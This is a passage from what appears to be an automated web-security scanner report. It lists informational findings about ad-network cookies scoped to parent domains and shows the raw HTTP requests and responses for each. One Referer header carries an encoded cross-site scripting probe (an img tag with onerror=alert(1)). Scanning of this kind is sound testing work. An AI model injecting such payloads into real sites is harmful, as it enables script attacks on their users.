Cookie: uid=2931142961646634775; adImpCount=UT2J78AmC5A1bJPKk1ZcFv-Uk1G_8eeH_ffI9_TYtwXAQoMWzzeIRUwqlX4XkpTlJmGhHmlhz1tR1Ra54XLx9RvZTBNkiE7yn98nPyVRl25NAD9CzxyIa9WvGJtW6WWCdCw25M4BnQ3D7DJxMnGnXTgV6OPboE5AailwYD2p-Iw5aKm9F0I7R5h70X8r87-oOjAznQouWfCDhBzMMiWh0jE4HLtec8QMc1joHaWjs84EOg3LaeBLejidxEXp4gacbaYu4sUuyG6XivH9J679bGOm1Gowo0Bt3xw3TBtXyI7rxHidHL7AkHk5p1uQYu8Gp_qYhgkMP4goYdjw_zo71q3dbQ_FPQz9_QUFX-hnS0YwIZEgYgtjSVi8v6rHSaGTrpEcaTklD78zzHnzIktxeoxL1o3ntGoB4jgMQbGweyQKHTWvuH33LVGTpw4f3efywIpisd7amnlX5d-e3Fc7xppJanyitxTdb5jca88yw2qwr5KjF5XG8ewYtREETLyNluPnw4fiW1LDYqs3sGVeXaARc94LBxV8YGt9AMS043csBKGndR0GilWdxXQcxw99j7xjPpoBoXS6sy_S0kMMwyZ4PL1yzg8ExkeyDNq1lJ2Qqk3PJwiM9GZJWpZx86IhCUiUvoEW3ev5av87J1qkLQhhzrIFiCiYOMZDiVJApOxQQlUF_kfqHosdHtcke2qoh-cKsl5xwtcYZjWQczzOQT8qHBN5tZeIWVJaSRpXYyVl91j5fFcBYjstMD_gj3heEDI7aGDukNb1WHM5PnG6d_svWi0i31D0vw3msNh6LDeD_eURyuZVeWv3_h2gIx799Ez77mcaP13ObejIeSEg5mOm1Gowo0Bt3xw3TBtXyI4GnNQ7ejgmdV756y-WML_0X_NY3dEVxGNPJNAATCxj9rp-Sg1SmXsUWwWTJ9MgBwjjGJPDVRav7W6P30gtyqrn1v8rE1EknxWY_Uck0tO0KWBS_QZKgKj0VWg1gEvovYIXz_VfAR4SwscpgEcAmNrKyazl06v0ReoiQ9QN4Ur6q9sXJT6ExBJb0ZxvWhiLeOIkrPr5GF21cUJ_ftHcZ_6JBURndDNXaAjDRg51CXyirY48Q4AU7U6znJsD9g8aapzq5yv6Rj5D2PPoFkI5AQ0VdxvoXlmDWtMlc8FTV00pNVDHTzQTxNQiLiO3sP52DAsUyT9-BO8NfcLhDLgv042yiyOw7C_49SsFhh2dSuohoj2yd6buwD3obJqHquWv_77UDajSw5Dlxy9LNAJWjj5gK_AN8xU_DDfiaLjv2U9wvs2ZfiHUkq00NeYclyKWY-DhU1Y6bGhtgb5z7PLgt-wXJi7BYwKpmmeCwn_4khtP0klFFrsHDTzxyPZG6gs_8U9E8I-0ryfnr0Rjj3hnsKehwcugq1l6JVH8jeYFam9X-KokEXp_5dbR-hOsQW7VWQ1PGPCG8aIWQ6KCYprCZBKbLqR8Py62sjc6dtsuuC_bsWccQ5wpbtRhFlcF9tiyqmN3fAGg3NL2q2xrCePtC960p9itfk_gPthXH4sy9nbSL020bhZMcQafawKH9Fjnp-lry2mOq25RwJMysyYojbq57Exd0Plymlrzvl3koseKmVtpRwkZU4LlGw1pa_aQSIPtDs4U6rma4odxT4Tmgfu461u4jf0O67XwvaWmx6zBpI91tkt1DwuIM-fHB-eun0rwbYUJGwcxDIMTzUXk4x2rjjxDgBTtTrOcmwP2DxpqnPwU4nWVLCzmDZHEsXCgHlzmgnm2frz6gUwC-ghEPuSPNB9YZYr2Do_1MAnkKITjVvbChgWmGSCHv9JIjXdUr_OLI7DsL_j1KwWGHZ1K6iGigwv_ZBJiboYLTLeiIMXtp9QNqNLDkOXHL0s0AlaOPmDZMinm2xckYcvLetlBQ6-Z4MQI_00IHT7JJOUmq2y2wuFTVjpsaG2BvnPs8uC37BcX68yjffYoqDP37FBu6qGmSUUWuwcNPPHI9kbqCz_xT6Z4cS4c2BNJN3YwDRf6McW-JFWF5NdXKvREWq0L_ppD_EUj2rnPYtMwVTZi4aCeHtK_BqictNjhiypVBkNWDvZ3fAGg3NL2q2xrCePtC960qQ8ZeX0VGTFshDNPo86yJrr_K2PHIPmDAhH5hFPKFoGaEQbG-OSlR7iWjaGJd74hVR73_oj2970-o-1p3bkNmltpRwkZU4LlGw1pa_aQSIPw-WfFa5rbg1T2-8mDUOVq2FYov2e4bbpVs_ek9flzIED1RI5tHbziFyffCyec3xEwkPcpjt07rfyr_pH01FsRI-Dv-p8PshjU1oitSgTvDB4fDBLiK-WqNWNc4CQMdaBF-3T8ypDIKyDxZ0q0EX-mpGvQl1Y3ZyJcpClUA01ewQvBPe0NT5LGUhyCWb8i0CTXqj-9rd3-b1rOObd1XuT1Vjkey8rxDllYO9dMSu4V9WwiAlZXWP0ZjNGiE7teVps9-hiMnJD4d1f0PtSMeV5LKDwzxOdprRtjUcxhVpbRw7Qj0zr9lRimen_bQbf8cQSsf8KgBmxfFRlTdFZtKlJXPzy4IuQ-JBk0T0YxGRD3Rn5s_K0QGHOmDNTRUyfBxJV5BJC-_awvhljVufa691_YW1_aBD-9CvBFnsKdrxWKG01FLH6zboKdOWeI-hyKSxQ2h-47isnHSJMrUtA-5NamDHJ7nm_8SABCT20TXVHyWx2_QRbToUALBhkFRjxNsV73I3dheK9y9ZMVCzXv9pNENQHW2G1b8XSIvQYohUNb-wb-SA-MrAe9Zq-k7qVDz6GaO0pwsJaSpGcaYTFMMNSUZZ9C3DNH-bUFCPV44BRw9fJvDNAOLzFRJK_YoTN_tIDV7xGgbQyT1ujjd9NKHT5x0vK-ZDtRavjCrEEJKkDvEqzCR6GQIU89PjNYJApEIwfJ1h0Ow0kXFxnGO5TZO6HmA5JMNIzsia9HJLD49F0iCQ9jdNPnNDF2eU125nvw1EBnRtG-jmaTHLalRJU5UQwRumX0YZOyilCylEOxxHJHfbqORiml9eb70YbYpRjAyDF0pv8ASNI65GjSNTqAjz6UR2gyYs7ekQbHvx8mDxy8mC_jOM-lyzeXLXzeKv8SlW5hbLL9NDuoGumt3pB8VETuHjEpnngRZzC_w-_AJFJJ4f4lvNaafPhFVIwa4eL1cfLVVO4yPLo_AlmueUC3Bbc4o1ofmbqdmhvGL3HC-Cu3jnM5oljg9X6CtmUj5qC8WoQ4Cl0qjQYu_XeEqBCOFT_qL9Mla9J9S4TLSggh9DlFD0EKdacD8rQryCtpm-mcOqt2KWCo4voAANYofSWIgh6kZ0bEGM7XpgB97nbZ0vlxX1RHWf4cmZLVQlShlkSSj-CRBZ0T1jBhkLy71kafUEM_jNRoNiTDgsidbIueEoI2_5IRXHQYExIZ7C1NBjq3yT50i9mdVGAcZ0a1cwuydR0EE1zGJd3C7evreP7AewPSnmGCjlEalNSuFBtRvPOiN0UvLnUW7p-3QqDgUfiVMrbm43vIYtz4BMRrHR5bpaI6nVK-OCyuL_e_Zv4brxaEwgz2i50Euz1C_FaYo7DfVPWmyaqVSNd98gHd4uLEmediyRK3iUgEefMCZbZg98abT8J_qmDbtHoc5BagJFzDA7Kd; fc=mS_toYMIS0Wau-idClH9vIivwfharoy7_U7EZR9gf7utHX6UGm6mlKUbEu7fgiSWrRqQpaKBKyof5NYMw3qm9wvMqEF5Nki8mb1vSqmztIXffciwbLSFJG4LaH01aUmkYIku-o-EBfWu7fcr4RkVGD2njFTP3k1M3wY5Jlg7-Vvx_ArzwF6g07RyfWqV9J5oQfVfVvZQIhZHqe5IJMUgy5nHJvIC6hlJr5nomLKWvLDh5p43eOnJ7X6K89jNMCEtTqWyQfE_XQdFbvJqf0b027MSi1xm8JuHbT3S9oaRjtuNPFsuTmi31WyOmyMhSsYSFOz7PvJtG0Qic3Pj3SFZOA; pf=4B4s32eNXyghDvxo54RZHNNcDq3g3DMuTMQNCSOidbwrW05u4B9BwnHxy5LHSNbsjp_za18of_2NbLtZsFP1gno-FYnJkTDGmOmIRAoCYmRG9eqUO6PdyPlHytyWBeL6pt4N9d3OY-Qo6M3zGftguNTbm-VGCKrn7KG61o8a-hlxQgbL-MXnxJnxbWK81XM2fNbwnskl80J7FrpArydV4msv5xJnc6wiNkkgoc9ZHAqEvAXfc_b9CYsOLM4ObfRS-yQ0IxDS6yGV0bt0Oz4pJzQ3Hu9GorHJq3pkzhhXE4dM0xncvVUD6tMlnnlm_qWsojASvNxNlCtZvel71OhRg1_acYxwuGBwWmnpT3WVNmeWKUlZO7GlHHuYkG_xUYpdlRr7vUCIaoiDaMmpt_PvLCOUyLGtO0hHJuwGY5T09JX2RCeAmas1by9-2jjXtHbxIU6XTk6RPEnQXT9x2zEmWfAeEJZ2W4XMeMQpqzhWB_34UH3sPqU14UWUW_0z8Z0heNyepssmwJo9AEHB3dcHG8NqNopQF7bmOYrUClo2LIAxUFIqqMfzF-f5IilV9DF2EEtf1qwB8GY1P6ISMC2NEE-NukVybOAFf3snxZsusnThrdw025CqgpXbAJf_ZgK04z5LE7vpNsVQaepPKy5giom1bq2yFvVGruUD-0Zmu_IOz-UlYiPBN7JyoSoKGJwMowB-sj_YCAwsoyO3MSAriA-6SvpE8vfm17M_AiAxw4nAd1Y9GjRixW8BKZaPBicaTSnQ_qW1THdHtsDrSOwE7yWjUosqwui97JSt4J0g_MOMd0ReLIPTEksHwzd4gYkpoMm2n6Nulr0bAVvGt4WcZWdCKTjb3Ww3q4Lyh_VyGMuPK371XlXjo5X46eVqRbV699MOJ5eDdshYLSs5LFoOgILjO_vdFh0XnPmUquTICkH1HrsiJSZNWOX0SyN8dywaeYYZUTlRetsuBzMcxMWLQLNyiRU1bJ5Qpb7GomgPhXBwcMjXa09KP5HzekSxDcQK0SJw0JMmSyeQM3pYTVx-Ci-FU5aKfMy17HNvPHxNvxNrRXY1izURX-lyALi1AlxuBXTDiJUS-OqKWjm2DD4CuggKG3dUzHMmu04fSX5Ad4nEc6NlGzZLMuoExgCCt30kp2pmOmYcQYMZyZ05DubgihMl8PJOwcr8ldScAKqk7rGGnUh27gMWCyrnP1Di5AGzTucfcXTrqV1UJKyBhGxFYcQFai9M2J3rqJmFUgQdN5ATDIRwfK3uozaJUKhU4qVipaL_GD-TOTelik5DYCvXIYIInb3nfIa-ebQa7olHWWH486R4yxje4LN8GWCWWRe4IR0I9DtTjuVzRJkyZ8n66XpUPlCRi3tlvuMEH6BKrtjGsUA2wOoIXFuaM_JUwMHDgab4_aPrZdgl9Uf7tvD9rgyRTxnR6YKNm8Gu6ALXRmCYGTIP8i-wsqx8QkqNgi0F_hs9UZaVZDpy-HyTAsx-Y51cz4yJITcb0FaAWC4QbaWSbbOECFNVbSmOiTVVH4eEKD1WvX5M7UplxrzwIhN9Mwkgo1sMiNanUUl1UyNj_Qxjp4iBCha2ShvDZxpY4-NTPO_cWHxychz2AkV4XXIJ0g; rrs=3%7C6%7C9%7C12%7C1002%7C1008%7C1%7C4%7C7%7C10%7C1003%7C1006%7C2%7C1001%7C1004%7C1007; rds=15104%7C15104%7C15104%7C15104%7C15104%7C15093%7C15104%7C15105%7C15082%7C15104%7C15104%7C15104%7C15104%7C15104%7C15104%7C15097; rv=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: public
Cache-Control: max-age=172800
Cache-Control: must-revalidate
Expires: Thu, 12 May 2011 13:43:57 GMT
Set-Cookie: uid=2931142961646634775; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/
Set-Cookie: bp=""; Domain=.turn.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: bd=""; Domain=.turn.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: adImpCount=49lfYbaSZC9sULu0Dsc9j4A0w_TJT6a7zSU93Wiv2By76nVUEQrqCfHGx7lLD55eJmGhHmlhz1tR1Ra54XLx9RvZTBNkiE7yn98nPyVRl25NAD9CzxyIa9WvGJtW6WWCcjZ2TdY02khAi5MXfrKXhTf3SlTsAkOoc67-nv9-JHzSvxHuaHQxpaIHd_HHvZgiEVoPtTPaqqoBSERNKypQSfr0Gvi67fABIdrDFkqH2pQDIoPfzh4dVMv54jxCLhrOuI8NBtfI3ukcD9crr6R3u7CvkqMXlcbx7Bi1EQRMvI0-QhF5lC0iuRWvKfJUQQnxoBFz3gsHFXxga30AxLTjd6eaygH6z21ZoH2a5fzloxhETDdhtdfsA0_G8wbchlE2Jng8vXLODwTGR7IM2rWUncwOw-WQzu27JDbm3zb28UIJSJS-gRbd6_lq_zsnWqQtDXki2e30ar-nIrZEby3IbX6ktS-7WSKCQ1cVQgpNNs6dzg1gLvSIwhzJ9CHnb7dyS2Rp-0JlDPDEgt7Boz_e8WX3WPl8VwFiOy0wP-CPeF60YkqIZmomQUOJddHNg8LosM3maYue6dGjGF5IpE3TfJaw7nJrYwXW28_gU2aUnfZXH1lxhSJ-Hkbx3LH7fNgeY6bUajCjQG3fHDdMG1fIjogqfEFqIPqWXHKrerlWzJ7we_lb5X3qA4azxNwDCgK1zj9AF5M8L0zjRkTi2bVOH7laPTu6jXJXf9E0wa_7P4eukRxpOSUPvzPMefMiS3F6CsA8r7p-w6Lx2aUQMF8sCClmSitS-MBruUq0LslgxFrkbtcNS092XfJ_iH1-qEzxBAK6vn5XEPH6CoDPO3SATbCvkqMXlcbx7Bi1EQRMvI09kp1qU922MWhgseCZ0yA9oBFz3gsHFXxga30AxLTjd3BNZ8Et-uLgMxsAErE71LIZKf-ZGF5mqZT4qAr6KwJ6_AZGFehbXKZVluek1-8cUSfpHBCWTc_WhsiuKHISwceCRhMEP-vqrTNfrAq34bF-UV7qwiA-DzdS3NAJnUwH98VKwCrgDD4ecVOAJt87zXnTicn6ppii7NkwfMnY3YnceJYheWkTLK5FfrssiaKppuFTVjpsaG2BvnPs8uC37Bf8FuaBd0zHMfaXMlXvmiRSSUUWuwcNPPHI9kbqCz_xT5cdd99vC4bC6OgoVXOU4XuiolLtxfX4Bt77mqmNWwAMzYy1HB58LncgBnIV8SuYwWjSqAhDRerjsLTJstXn3k93fAGg3NL2q2xrCePtC960g6vIHw2Jyhqnl0AuzEQ9uy2OhqmTSqb5s_vom2S9BdFry2mOq25RwJMysyYojbq5OEH0e8-9WHwCznRNoiPpAVtpRwkZU4LlGw1pa_aQSINqN0AbiEW6mez9vdByqElcPwGqCniUOGScBtRFWce59NkPEWuLK2RvocYs-w2VCSU29xo9t_eELo-qOr3V4b_6rJ6qoWJfLTC4s23Ovgz6z5gGPawgMxEaUTfILlas0AGOPEOAFO1Os5ybA_YPGmqcY5VMRQ0UuWRFg4faK4le06zc6zX7XuyCbrmiyrXAF7h4ukd_tYO2W-vdTSaO8z9e31SEv8mTtg6054eJlg8NRYsjsOwv-PUrBYYdnUrqIaKXbp8yFKNIGg1jm4dCMTx11A2o0sOQ5ccvSzQCVo4-YLedP_zRmBDU16GMmAX4vi6cES2Ns5aNknwfVZ8YJqSm4VNWOmxobYG-c-zy4LfsF1fViSQW9FxwtaoTED3u2cBJRRa7Bw088cj2RuoLP_FPnAzMrCiv6oWNkFhSHNDPNV5g-5umsVHXlQ3P2lQ-Ini3QKeItojaDoDbISABCFerBhJYEPL4UzdyOj82p3ETwnd8AaDc0varbGsJ4-0L3rRCWQBFgLGhPxYltUIyEQgLsBIQDOH8CUV4l-WCvOMJ8ZoRBsb45KVHuJaNoYl3viGLFY5FXqH7Kxgixse5VNukW2lHCRlTguUbDWlr9pBIg8Hkwp6ej4-1GJtnnt-GDOjketUOewYnKj5VAKGNuTapv-s71Id9C6Et0jKrqPrA341fYNvaM9xh9GX-_ZJ3L2SOPEOAFO1Os5ybA_YPGmqcF99XWuA3J5hzU_ecr1Gi2oeNg2RC4vMx5FjUiqRrmO0-mh5LMTfhrtRFIqx5jm-AZvTZNfGrAuabv0M5A8DouosjsOwv-PUrBYYdnUrqIaIHNHYRAxeinCck4FrVYQDAxQ4YYoGSDsz6HlzI-Hkj_TjHLfuthDLFZ1MLJVKZ8oQHFXRs7s5tJoMmmzd2oSgOu1W98HVFnqHBnOdpDfkHAlridfFNnlS6-nlSx7tTBerbAIeI2vlGUfbG0ZNxEUHDEA1Jh1JmSIm4qhQ12_7hjpyvEb6miC_66VvSL5Pml5WgPd9FpDjFgzufMcbyyJxOBEwyLEP-hWW5-kmOATgFPehnB2LM1zLOIXx4ZnMe0z0LhSbd_dEDGN9v5_RAIItiovjHQ4Cmjst0uS_ZAN5dmUmURXlsENb9xU6Mz9VMuO7pvYl8H7-HUJl2Ka6xoLyLZbtzyEbcWUGqqhqa9tiX1Ool3nXRVKN-1LzOuXfM3NVtJs4f61ul8zZhh25WM8DyuIZxsqa7lOxOrOQMHdw4dRwEAwKtxxI_6b-FutaN-Lv-U41umJyCpRL1lt1cGgEpB5hD13EPwO5s5-DwMGD6aoN8-37PGC9cyesf200GnzzZRiN9PqVIEPxwQb1jhhWbAkOuzsv3JtzVI0PtUqJ35DfE9ZhLI-srA5i46CagcI8CeQHj43XhmSTC0zqxgUpWBkpu7d1CWvPFLelubWUsUYzfwwIac3OVd4asDRy4Tb3ejyv3BQtedQeCLUOqeg0SFq_skUz0u9ij_v1VgfIXakRmBHzdvCY-JOe_XTrWj6RJUGHeC3nCN4x_UZC69s55XOiKPcyt6l9iKxGmUQqMunAXp1F8JSJEG7l6OPv1fjk2t8lMpvAttvjIHDirSW0fVf72b0bbH4YNLu_Hr3-dKiYlgTf7HqVNZQWUbK-DV9szgBiAs1SiDN7PvqaLqTr1TdM_3KWeoJO-CnSEWgr9Qozp9kcrjIK5abX-GWVdsDOQmjEJeDHB1vBCgSzPg8RYTgMVW3E4SxfywkVDkUHR89emr2ZPiQMIOqLpsK7AHmj_oLcuTGyfXxMAHHkZzF_kjzxNN9ZylJk4PeTQeSCNmSuwd6Ui7h291sdfTURN_H05iExVYofrvkJ5TQYUNfK3E4iJk_um-_UF55g3dXD1xQrJtwIJ75WF2AZJh9J7588Z6Lsj33fSvPRriFKu-9iW4vdfapgN28zxEb9z3o9S5VhjrAU5oaTtgSb_n-uusLm7uJxCGZGZGB8Gj332u6Qw9fjZOAN9kWDjrF9jr4TxQY3mkp4Dt7Hm1UzS7lEsBzRNL996qx_doUESD1XIFIHHtJQvkRk6L9OlRnxWZyIC-LgTGZBprvbky445Uh8PxXOesWKmtIxFp0u_LMNGGa98xE0cp24rr959_cZV8G9amf0P1ImCBwaKqNcKpIl1XQrRjFhJGRjdFTc7TZeHSZXWFP5lHnxiOAgLNRsRn-d3BIbgrKMLgoG44wFioyFmgaSIzVIIxqT36kRgQZngJXoo; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/
Set-Cookie: fc=FSROkif6QEzQTtpBUb36S_gNoF-ZKYigcfXOCrgeHn_ucz5cXW5Mlwmu42BXqLr6rRqQpaKBKyof5NYMw3qm9wvMqEF5Nki8mb1vSqmztIXwgXaghxUZ0Yi8V_8u0E15pwNGRrcYbOFXslFF8JgPJ4hlfd5Vr1apsTJViSHXFg8nEpLOK5atrYviv-joUTkPwwO-8N2ttNV8JartNM9RLBsnc2X8IKfd5H6yzgRflMC-yL_ByfmJaqt39FhxYp5a_s1UDK-soNrH30pJLaCdOjfsdyfcA83SjMBxymPmvd0agfidLwaUjnraLpvT1tPzG0sqnNvhyDQv8I1-OfpErfpZT2r-ImqIbIee7QyEpWA; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/
Set-Cookie: pf=4I9yKgLgu7dDaMJU_kn1HMV-8h1wwErSZQshMndJN8IrW05u4B9BwnHxy5LHSNbsgj3i5LqNb-W3W5VEUXCe5-7gAzVqz8-G_Q39pQwwHQtG9eqUO6PdyPlHytyWBeL6pt4N9d3OY-Qo6M3zGftguNTbm-VGCKrn7KG61o8a-hlxQgbL-MXnxJnxbWK81XM2fNbwnskl80J7FrpArydV4msv5xJnc6wiNkkgoc9ZHAqEvAXfc_b9CYsOLM4ObfRS-yQ0IxDS6yGV0bt0Oz4pJzQ3Hu9GorHJq3pkzhhXE4dM0xncvVUD6tMlnnlm_qWsojASvNxNlCtZvel71OhRg1_acYxwuGBwWmnpT3WVNmeWKUlZO7GlHHuYkG_xUYpdlRr7vUCIaoiDaMmpt_PvLCOUyLGtO0hHJuwGY5T09JX2RCeAmas1by9-2jjXtHbxIU6XTk6RPEnQXT9x2zEmWfAeEJZ2W4XMeMQpqzhWB_34UH3sPqU14UWUW_0z8Z0heNyepssmwJo9AEHB3dcHG8NqNopQF7bmOYrUClo2LIAxUFIqqMfzF-f5IilV9DF2EEtf1qwB8GY1P6ISMC2NEE-NukVybOAFf3snxZsusnThrdw025CqgpXbAJf_ZgK04z5LE7vpNsVQaepPKy5giom1bq2yFvVGruUD-0Zmu_IOz-UlYiPBN7JyoSoKGJwMowB-sj_YCAwsoyO3MSAriA-6SvpE8vfm17M_AiAxw4nAd1Y9GjRixW8BKZaPBicaTSnQ_qW1THdHtsDrSOwE7yWjUosqwui97JSt4J0g_MOMd0ReLIPTEksHwzd4gYkpoMm2n6Nulr0bAVvGt4WcZWdCKTjb3Ww3q4Lyh_VyGMuPK371XlXjo5X46eVqRbV699MOJ5eDdshYLSs5LFoOgILjO_vdFh0XnPmUquTICkH1HrsiJSZNWOX0SyN8dywaeYYZUTlRetsuBzMcxMWLQLNyiRU1bJ5Qpb7GomgPhXBwcMjXa09KP5HzekSxDcQK0SJw0JMmSyeQM3pYTVx-Ci-FU5aKfMy17HNvPHxNvxNrRXY1izURX-lyALi1AlxuBXTDiJUS-OqKWjm2DD4CuggKG3dUzHMmu04fSX5Ad4nEc6NlGzZLMuoExgCCt30kp2pmOmYcQYMZyZ05DubgihMl8PJOwcr8ldScAKqk7rGGnUh27gMWCyrnP1Di5AGzTucfcXTrqV1UJKyBhGxFYcQFai9M2J3rqJmFUgQdN5ATDIRwfK3uozaJUKhU4qVipaL_GD-TOTelik5DYCvXIYIInb3nfIa-ebQa7olHWWH486R4yxje4LN8GWCWWRe4IR0I9DtTjuVzRJkyZ8n66XpUPlCRi3tlvuMEH6BKrtjGsUA2wOoIXFuaM_JUwMHDgab4_aPrZdgl9Uf7tvD9rgyRTxnR6YKNm8Gu6ALXRmCYGTIP8i-wsqx8QkqNgi0F_hs9UZaVZDpy-HyTAsx-Y51cz4yJITcb0FaAWC4QbaWSbbOECFNVbSmOiTVVH4eEKD1WvX5M7UplxrzwIhN9Mwkgo1sMiNanUUl1UyNj_Qxjp4iBCha2ShvDZxpY4-NTPO_cWHxychz2AkV4XXIJ0g; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:43:57 GMT
Content-Length: 9405

var detect = navigator.userAgent.toLowerCase();

function checkIt(string) {
return detect.indexOf(string) >= 0;
}

var naturalImages = new Array;

naturalImageOnLoad = function() {
if (this.width
...[SNIP]...

12.24. http://ad.turn.com/server/pixel.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.turn.com
Path:	/server/pixel.htm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

uid=3658195966029417970; Domain=.turn.com; Expires=Sun, 06-Nov-2011 14:11:03 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /server/pixel.htm?fpid=12 HTTP/1.1
Host: ad.turn.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: uid=3658195966029417970; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7Cundefined%7C9%7C1001%7Cundefined%7Cundefined%7C10%7Cundefined%7Cundefined%7C12; rds=15098%7C15098%7C15098%7C15098%7Cundefined%7C15098%7C15098%7Cundefined%7C15098%7C15098%7Cundefined%7Cundefined%7C15098%7Cundefined%7Cundefined%7C15098; rv=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=3658195966029417970; Domain=.turn.com; Expires=Sun, 06-Nov-2011 14:11:03 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 14:11:02 GMT
Content-Length: 336

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
src="http://cdn.turn.com/server/ddc.htm?uid=3658195966029417970&rnd=4052321667986166054&fpid=12&nu=n&t
...[SNIP]...

12.25. http://admeld.lucidmedia.com/clicksense/admeld/match previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://admeld.lucidmedia.com
Path:	/clicksense/admeld/match

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:03 GMT
2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:03 GMT
2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:03 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY; 2=2xpe64Z76BY; 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Tue, 10 May 2011 13:25:03 GMT
Expires: Tue, 10 May 2011 13:25:03 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:03 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:03 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:03 GMT
Content-Type: text/plain
Content-Length: 164
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

12.26. http://ads.adbrite.com/adserver/behavioral-data/8203 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/behavioral-data/8203

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ut="1%3Aq1YqM1KyqlbKTq0szy9KKVayUkrOyDHLrDTNM6wxLDK0yDOqMawx0Ck2yMg1rzEsSDbLKQYJKOkoJSXm5aUWZYL1KNXWAgA%3D"; path=/; domain=.adbrite.com; expires=Fri, 07-May-2021 14:21:02 GMT
vsd=0@1@4dc949ce@bcp.crwdcntrl.net; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 14:21:02 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/behavioral-data/8203?d=2829 HTTP/1.1
Host: ads.adbrite.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bcp.crwdcntrl.net/px?Yz00MDImcHhpZD01NzgmcHhpZD01NCZweGlkPTk3NCZweGlkPTk0OSZweGlkPTk5MiZweGlkPTQ2OCZweGlkPTExNDAmcHhpZD00NjkmcHhpZD0xMDYw
Cookie: Apache="168362123x0.728+1302188608x-1818389268"; ut="1%3Aq1YqM1KyqlbKTq0szy9KKVayUio2yMg1rzEsSDbLKa4xrDFQ0lFKSszLSy3KBEsr1dYCAA%3D%3D"; rb2=CiMKBjc0MjY5NxiAvsP4DiITMzY1ODE5NTk2NjAyOTQxNzk3MAouCgY3NjI3MDEY2uORrBYiHkUzRjMyQkQwOTU0NkM5NERBRDk1RDFCNTQwMTEwQxAB; rb=0:742697:20828160:3658195966029417970:0:762701:20861280:E3F32BD09546C94DAD95D1B540110C:0; srh="1%3Aq64FAA%3D%3D"; vsd=0@1@4dc94702@www.gather.com

Response

HTTP/1.1 200 OK
Accept-Ranges: none
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: image/gif
